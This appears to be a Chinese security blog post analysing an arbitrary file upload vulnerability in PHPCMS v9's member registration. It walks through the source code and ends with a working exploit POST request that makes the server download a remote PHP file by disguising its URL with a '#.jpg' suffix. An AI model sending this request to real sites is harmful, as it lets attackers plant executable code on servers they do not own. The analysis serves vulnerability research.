PHP…

0x01

任意文件上传

漏洞分析

漏洞出现在/phpcms/modules/member/index.php的register函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$siteid = isset($_REQUEST['siteid']) && trim($_REQUEST['siteid']) ? intval($_REQUEST['siteid']) : 1;
//定义站点id常量
if (!defined('SITEID')) {
define('SITEID', $siteid);
}
...
if(isset($_POST['dosubmit'])) {
...
if($member_setting['choosemodel']) {
require_once CACHE_MODEL_PATH.'member_input.class.php';
require_once CACHE_MODEL_PATH.'member_update.class.php';
$member_input = new member_input($userinfo['modelid']);
$_POST['info'] = array_map('new_html_special_chars',$_POST['info']);
$user_model_info = $member_input->get($_POST['info']);
}
...

这里获取了一个siteid,定义为常量,之后加载了一些配置文件,接着有一个判断dosubmit,所以狗仔payload的时候需要给dosubmit赋值,接下来的if里面的内容就是出现漏洞的地方,首先包含了两个类文件,然后有同POST传递过来的info,跟到new_html_special_chars函数
在/phpcms/libs/functions/global.func.php
1
2
3
4
5
6
7
function new_html_special_chars($string) {
$encoding = 'utf-8';
if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';
if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);
foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);
return $string;
}

就是将一些特殊字符转化为html实体,回到register函数,之前实例化了member_input类,而且传递了modelid,之后就知道为什么payload里面的modelid的值为11,其实不为11也是可以的,接着跟到member_input类的get方法,在/caches/caches_model/caches_data/member_input.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function get($data) {
$this->data = $data = trim_script($data);
$model_cache = getcache('member_model', 'commons');
$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];

$info = array();
$debar_filed = array('catid','title','style','thumb','status','islink','description');
if(is_array($data)) {
foreach($data as $field=>$value) {
if($data['islink']==1 && !in_array($field,$debar_filed)) continue;
$field = safe_replace($field);
$name = $this->fields[$field]['name'];
$minlength = $this->fields[$field]['minlength'];
$maxlength = $this->fields[$field]['maxlength'];
$pattern = $this->fields[$field]['pattern'];
$errortips = $this->fields[$field]['errortips'];
if(empty($errortips)) $errortips = "$name 不符合要求!";
$length = empty($value) ? 0 : strlen($value);
if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 个字符!");
if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');
if($maxlength && $length > $maxlength && !$isimport) {
showmessage("$name 不得超过 $maxlength 个字符!");
} else {
str_cut($value, $maxlength);
}
if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);
if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重复!");
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);
$info[$field] = $value;
}
}
return $info;
}

看到函数的最后几个操作
1
2
$func = $this->fields[$field]['formtype'];
if(method_exists($this, $func)) $value = $this->$func($field, $value);

这里的\$this->fields在构造函数中被定义了
1
2
3
4
5
6
7
8
9
10
11
12
  function __construct($modelid) {
$this->db = pc_base::load_model('sitemodel_field_model');
$this->db_pre = $this->db->db_tablepre;
$this->modelid = $modelid;
$this->fields = getcache('model_field_'.$modelid,'model');

//初始化附件类
pc_base::load_sys_class('attachment','',0);
$this->siteid = param::get_cookie('siteid');
$this->attachment = new attachment('content','0',$this->siteid);

}

可已看出是通过getcache这个函数来调用一个缓存文件,这里的\$modelid就是之前实例化的时候传递的,那么为什么说11可以,不用11也行呢,因为这里的\$func是要为editor的,才能达到利用的目的,那么
看到/caches/caches_model/caches_data/文件夹下面,前缀是model_field_的文件

这几个文件都能被调用,看到model_file_11.php的关于content的formtype内容

1
2
3
4
5
'maxlength' => '999999',
'pattern' => '',
'errortips' => '内容不能为空',
'formtype' => 'editor',
'setting' => 'array (

这也是为什么传递info数组的时候键值选择content,其它的文件中也有content的formtype为editor的,所以\$modelid不必须为11,回到get方法,接下来跟到editor函数,就在get函数的下方
1
2
3
4
5
6
7
8
function editor($field, $value) {
$setting = string2array($this->fields[$field]['setting']);
$enablesaveimage = $setting['enablesaveimage'];
$site_setting = string2array($this->site_config['setting']);
$watermark_enable = intval($site_setting['watermark_enable']);
$value = $this->attachment->download('content', $value,$watermark_enable);
return $value;
}

关键部分出现了,跟到attachment的download函数,在/phpcms/libs/classes/attachements.class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
{
global $image_d;
$this->att_db = pc_base::load_model('attachment_model');
$upload_url = pc_base::load_config('system','upload_url');
$this->field = $field;
$dir = date('Y/md/');
$uploadpath = $upload_url.$dir;
$uploaddir = $this->upload_root.$dir;
$string = new_stripslashes($value);
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
$remotefileurls = array();
foreach($matches[3] as $matche)
{
if(strpos($matche, '://') === false) continue;
dir_create($uploaddir);
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
}
unset($matches, $string);
$remotefileurls = array_unique($remotefileurls);
$oldpath = $newpath = array();
foreach($remotefileurls as $k=>$file) {
if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
$filename = fileext($file);
$file_name = basename($file);
$filename = $this->getname($filename);

$newfile = $uploaddir.$filename;
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {
$oldpath[] = $k;
$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
@chmod($newfile, 0777);
$fileext = fileext($filename);
if($watermark){
watermark($newfile, $newfile,$this->siteid);
}
$filepath = $dir.$filename;
$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
$aid = $this->add($downloadedfile);
$this->downloadedfiles[$aid] = $filepath;
}
}
return str_replace($oldpath, $newpath, $value);
}

看到传进来的\$value进入到了new_stripslashes函数
在//phpcms/libs/functions/global.func.php中
1
2
3
4
5
function new_stripslashes($string) {
if(!is_array($string)) return stripslashes($string);
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
return $string;
}

做了一个去除转义符的操作,回到download函数,接下来是一个正则匹配
1
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

可以利用src=http://url/1.php#.$ext进行绕过,这个地方写#.$ext的原因之后会说到,接着跟到fillurl函数,其中有一个
1
2
$pos = strpos($surl,'#');
if($pos>0) $surl = substr($surl,0,$pos);

这样就能吧#.$ext去除,剩下http://url/1.php,接下来是对\$remotefileurls的一些操作,但都没有破坏payload的url,最后看到
1
2
$upload_func = $this->upload_func;
if($upload_func($file, $newfile)) {

这里的\$this->upload_func是构造函数中为’copy’,这样就能远程下载文件了,但是得开启allow_url_fopen
上传之后,回到register函数,之后将\$user_model_info插入到数据库中
1
2
$this->db->set_model($userinfo['modelid']);
$this->db->insert($user_model_info);

sql语句如下
1
INSERT INTO `phpcmsv9`.`v9_member_detail`(`content`,`userid`) VALUES ('&lt;img src=http://127.0.0.1:4399/phpinfo.php#.jpg&gt;','5')

然而由于数据表中没有content这个字段,而把文件上传的路径信息返回了


0x02

漏洞利用

打开注册页面,访问

1
POST:siteid=1&modelid=1&username=1234&password=123456&email=1234@qq.com&info[content]=<img src=http://127.0.0.1:4399/phpinfo.php#.jpg>&dosubmit=1

这里的modelid为1也是可以的,提交之后


访问文件

(ง •_•)ง